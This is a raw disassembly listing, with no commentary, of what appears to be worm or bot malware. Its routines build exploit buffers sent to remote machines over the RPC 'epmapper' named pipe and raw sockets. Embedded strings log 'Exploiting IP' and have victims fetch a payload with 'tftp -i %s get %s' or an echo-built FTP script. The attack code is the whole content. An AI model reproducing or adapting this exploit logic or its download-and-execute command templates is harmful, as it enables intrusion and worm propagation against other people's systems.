B R O U T I N E ======================================= sub_40D9B3 proc near ; CODE XREF: ___:0040D6D3p ; sub_40DB0C+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D8F2 test al, al jz short loc_40D9E1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D9E1: ; CODE XREF: sub_40D9B3+12j mov eax, esi pop edi pop esi retn 8 sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p ; sub_40D824+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D9FB call sub_426173 loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj mov ecx, edi call sub_40DB0C mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DA11 mov ebx, eax loc_40DA11: ; CODE XREF: sub_40D9E8+25j test ebx, ebx jbe short loc_40DA47 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D670 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D8F2 test al, al jz short loc_40DA47 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj ; sub_40D9E8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D9E8 endp ; =============== S U B R O U T I N E ======================================= sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p mov eax, offset loc_426AD0 call sub_41D640 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40DA75 mov edi, [ebp+8] loc_40DA75: ; CODE XREF: sub_40DA4F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40DA82 xor eax, eax loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj push eax call sub_41D9A5 pop ecx mov [ebp+8], eax jmp short loc_40DAB3 ; --------------------------------------------------------------------------- loc_40DA8E: ; DATA XREF: ___:00427F84o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40DA9D xor eax, eax loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj push eax call sub_41D9A5 mov [ebp+8], eax pop ecx mov eax, offset loc_40DAAD retn ; --------------------------------------------------------------------------- loc_40DAAD: ; DATA XREF: sub_40DA4F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40DAD1 cmp eax, edi jbe short loc_40DAC0 mov eax, edi loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41CD20 add esp, 0Ch loc_40DAD1: ; CODE XREF: sub_40DA4F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D977 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40DAF1 mov edi, ebx loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40DA4F endp ; =============== S U B R O U T I N E ======================================= sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DB39 mov al, [esi-1] test al, al jz short loc_40DB39 cmp al, 0FFh jz short loc_40DB39 push 1 call sub_40D977 push esi call sub_41B9C0 pop ecx push eax push esi mov ecx, edi call sub_40D9B3 loc_40DB39: ; CODE XREF: sub_40DB0C+9j ; sub_40DB0C+10j ... pop edi pop esi retn sub_40DB0C endp ; =============== S U B R O U T I N E ======================================= sub_40DB3C proc near ; DATA XREF: ___:00429008o test byte_4DC018, 1 jnz short loc_40DB4C or byte_4DC018, 1 loc_40DB4C: ; CODE XREF: sub_40DB3C+7j jmp $+5 push offset nullsub_1 call sub_41DA20 pop ecx retn sub_40DB3C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB5E proc near ; CODE XREF: ___:0040DF74p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset off_432940 lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43DB88 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 26F0000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CE6F4 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4CBA74 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC22 cmp eax, ebx jnz short loc_40DC2C loc_40DC22: ; CODE XREF: sub_40DB5E+BEj push edi push edi push edi push esi call dword_4CBA74 loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j cmp eax, 5 jz short loc_40DC3A cmp eax, ebx jz short loc_40DC3A push 1 pop eax jmp short loc_40DC3C ; --------------------------------------------------------------------------- loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j ; sub_40DB5E+D5j xor eax, eax loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj pop edi pop esi pop ebx leave retn sub_40DB5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC41 proc near ; CODE XREF: ___:0040DFC6p ; ___:0040E0A6p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_432948 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset off_432940 lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43DB88 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 26F0000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41DA61 add esp, 10h loc_40DCD2: ; CODE XREF: sub_40DC41+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_4CB90C test eax, eax jz short loc_40DCF2 push 7D0h nop call near ptr 2670E97h jmp short loc_40DCD2 ; --------------------------------------------------------------------------- loc_40DCF2: ; CODE XREF: sub_40DC41+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCF9 proc near ; CODE XREF: ___:0040DFF5p ; ___:0040E133p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C500 push esi push edi push offset byte_429108 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B22B mov edi, eax add esp, 10h test edi, edi jz loc_40DF48 push ebx mov ebx, offset off_43285C push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_41CD20 add esp, 24h lea esi, [edi+0D7h] loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDCE mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_41CD20 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BF70 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_41CD20 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD7E ; --------------------------------------------------------------------------- loc_40DDCE: ; CODE XREF: sub_40DCF9+90j cmp [ebp+arg_C4], 0 jz short loc_40DDE9 cmp [ebp+arg_C0], 3 jz short loc_40DDF2 cmp [ebp+arg_C0], 0 jmp short loc_40DDF0 ; --------------------------------------------------------------------------- loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj cmp [ebp+arg_C0], 3 loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj jnz short loc_40DDFB loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j push 4 push offset dword_43293C jmp short loc_40DE02 ; --------------------------------------------------------------------------- loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j push 4 push offset dword_432938 loc_40DE02: ; CODE XREF: sub_40DCF9+100j lea eax, [ebp+var_1FE0] push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_432470 push eax call sub_41CD20 push 10h lea eax, [ebp+var_CA4] push offset dword_4327D4 push eax call sub_41CD20 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_41CD20 lea edi, [esi+370h] push 3Ch push offset off_4327E8 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 add edi, 3Ch push 30h push offset dword_432828 lea eax, [ebp+edi+var_1004] push eax call sub_41CD20 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BEB5 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BF70 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_41CD20 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej pop edi pop esi leave retn sub_40DCF9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C500 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0BA lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB5E pop ecx test eax, eax pop ecx jz loc_40E1CA lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41C266 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 27107C1h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFD1 loc_40DFC2: ; CODE XREF: ___:0040E072j lea eax, [ebp+0Ch] push eax call sub_40DC41 pop ecx jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40DFD1: ; CODE XREF: ___:0040DFC0j lea eax, [ebp+0Ch] push 2 push eax call sub_4182CD pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E069 mov edi, 186A0h push edi call sub_41BEB5 mov esi, eax push edi push ebx push esi call sub_41BF70 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_432424 push dword ptr [ebp-4] nop call near ptr 2710000h cmp byte ptr [esi+2], 0Ch jnz short loc_40E059 lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call near ptr 2700000h nop test eax, eax jnz short loc_40E077 loc_40E059: ; CODE XREF: ___:0040E03Fj push esi call sub_41BA91 push dword ptr [ebp-8] call sub_41BA91 pop ecx pop ecx loc_40E069: ; CODE XREF: ___:0040E005j push dword ptr [ebp-4] nop call near ptr 26608D5h jmp loc_40DFC2 ; --------------------------------------------------------------------------- loc_40E077: ; CODE XREF: ___:0040E057j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] call near ptr 26F107Dh nop push dword ptr [ebp-8] mov edi, eax call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx push dword ptr [ebp-4] nop call near ptr 26608D5h lea eax, [ebp+0Ch] push eax call sub_40DC41 cmp edi, 1 pop ecx jnz loc_40E1DE jmp loc_40E1CA ; --------------------------------------------------------------------------- loc_40E0BA: ; CODE XREF: ___:0040DF66j lea eax, [ebp+0Ch] push 1 push eax call sub_4182CD mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1CA xor ebx, ebx push ebx push 1 push 2 call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1CA push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4CB9D4 mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCF9 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E14C push dword ptr [ebp-4] jmp short loc_40E1C4 ; --------------------------------------------------------------------------- loc_40E14C: ; CODE XREF: ___:0040E145j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_40E164 loc_40E161: ; CODE XREF: ___:0040E176j push esi jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E164: ; CODE XREF: ___:0040E15Fj push ebx push 48h push offset dword_432424 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E161 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E1A5 push dword ptr [ebp-8] jmp short loc_40E1BD ; --------------------------------------------------------------------------- loc_40E1A5: ; CODE XREF: ___:0040E19Ej push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4CB9EC push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1D1 loc_40E1BD: ; CODE XREF: ___:0040E162j ; ___:0040E1A3j call sub_41BA91 pop ecx push edi loc_40E1C4: ; CODE XREF: ___:0040E14Aj call dword_4CBA6C loc_40E1CA: ; CODE XREF: ___:0040DF7Dj ; ___:0040DFCCj ... xor eax, eax jmp loc_40E28D ; --------------------------------------------------------------------------- loc_40E1D1: ; CODE XREF: ___:0040E1BBj call sub_41BA91 pop ecx push edi call dword_4CBA6C loc_40E1DE: ; CODE XREF: ___:0040E0AFj lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41C266 add esp, 0Ch xor esi, esi loc_40E1F8: ; CODE XREF: ___:0040E218j lea eax, [ebp-234h] push eax call sub_415E19 test eax, eax pop ecx jnz short loc_40E21C push 1388h nop call near ptr 2670E97h inc esi cmp esi, 6 jl short loc_40E1F8 jmp short loc_40E28A ; --------------------------------------------------------------------------- loc_40E21C: ; CODE XREF: ___:0040E207j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_41C266 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E268 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 add esp, 14h loc_40E268: ; CODE XREF: ___:0040E249j lea eax, [ebp-234h] push eax call sub_415D38 mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40E28A: ; CODE XREF: ___:0040E21Aj push 1 pop eax loc_40E28D: ; CODE XREF: ___:0040E1CCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4CBA14 mov [ebp+var_C], eax mov ax, word_433290 push eax call dword_4CB9D4 push esi push 1 push 2 mov [ebp+var_E], ax call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E3CA lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40E3CA push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC mov edi, offset byte_429108 push edi push edi push [ebp+arg_0] call sub_40AA06 pop ecx mov esi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 18h push dword_4CB710 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E3CA push 1F4h call near ptr 2670E97h nop push edi push offset dword_42A2E8 lea eax, [ebp+var_1A0] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E3CE loc_40E3CA: ; CODE XREF: sub_40E292+51j ; sub_40E292+67j ... xor al, al jmp short loc_40E3EC ; --------------------------------------------------------------------------- loc_40E3CE: ; CODE XREF: sub_40E292+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_4CB9EC push ebx call dword_4CBA6C mov al, 1 loc_40E3EC: ; CODE XREF: sub_40E292+13Aj pop edi pop esi pop ebx leave retn sub_40E292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3F1 proc near ; CODE XREF: ___:0040E946p ; ___:0040E968p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_41C500 mov eax, dword_43341C push ebx mov [ebp+var_10], eax mov eax, dword_433420 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_433410 push eax call sub_41C266 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40E430: ; CODE XREF: sub_40E3F1+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40E430 push 60h lea eax, [ebp+var_B4] push offset dword_432EA0 push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_41CD20 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_41B9C0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_41CD20 lea eax, [ebp+var_3C] push eax call sub_41B9C0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_41CD20 mov ax, word_433290 add esp, 2Ch push eax call dword_4CB9D4 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_432BA0 call sub_41CD20 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40E5ED mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_41BF70 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4332D0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_41CD20 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_41CD20 push 4 lea eax, [ebp+var_11AC] push offset loc_433408 push eax call sub_41CD20 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_41CD20 add esp, 40h push esi call sub_41B9C0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_41CD20 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_40E5A6 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_41BF70 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_41BF70 add esp, 18h jmp short loc_40E644 ; --------------------------------------------------------------------------- loc_40E5ED: ; CODE XREF: sub_40E3F1+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_41BF70 mov esi, offset loc_432AF0 push esi call sub_41B9C0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_41CD20 lea eax, [ebp+var_10] push eax call sub_41B9C0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_41CD20 mov eax, dword_4332D0 add esp, 2Ch mov [ebp+var_768], eax loc_40E644: ; CODE XREF: sub_40E3F1+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_41BF70 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_40E683 loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j ; sub_40E3F1+2E0j ... xor al, al jmp loc_40E82B ; --------------------------------------------------------------------------- loc_40E683: ; CODE XREF: sub_40E3F1+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 68h push offset dword_432F04 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 0A0h push offset dword_432F70 push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC cmp [ebp+arg_C0], ebx jz loc_40E799 push 68h lea eax, [ebp+var_89B4] push offset dword_433128 push eax call sub_41CD20 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_41CD20 push 70h lea eax, [ebp+var_68DC] push offset dword_433194 push eax call sub_41CD20 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_41CD20 push 84h lea eax, [ebp+var_5DA8] push offset dword_433208 push eax call sub_41CD20 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_40E67C push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_4CB9EC push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40E7EF ; --------------------------------------------------------------------------- loc_40E799: ; CODE XREF: sub_40E3F1+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_433014 push eax call sub_41CD20 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_41CD20 push 90h lea eax, [ebp+var_245C] push offset off_433094 push eax call sub_41CD20 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j push eax push edi call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_40E67C push 12Ch nop call near ptr 2670E97h sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E292 add esp, 0BCh test al, al setnz al loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj pop edi pop esi pop ebx leave retn sub_40E3F1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41BF70 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_4CB9D4 push 6 push 1 push 2 mov [ebp-12h], ax call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E929 lea eax, [ebp-14h] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40E929 push edi push 89h push offset dword_432C88 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 mov esi, 640h push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9EC push edi push 0A8h push offset dword_432D14 push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push 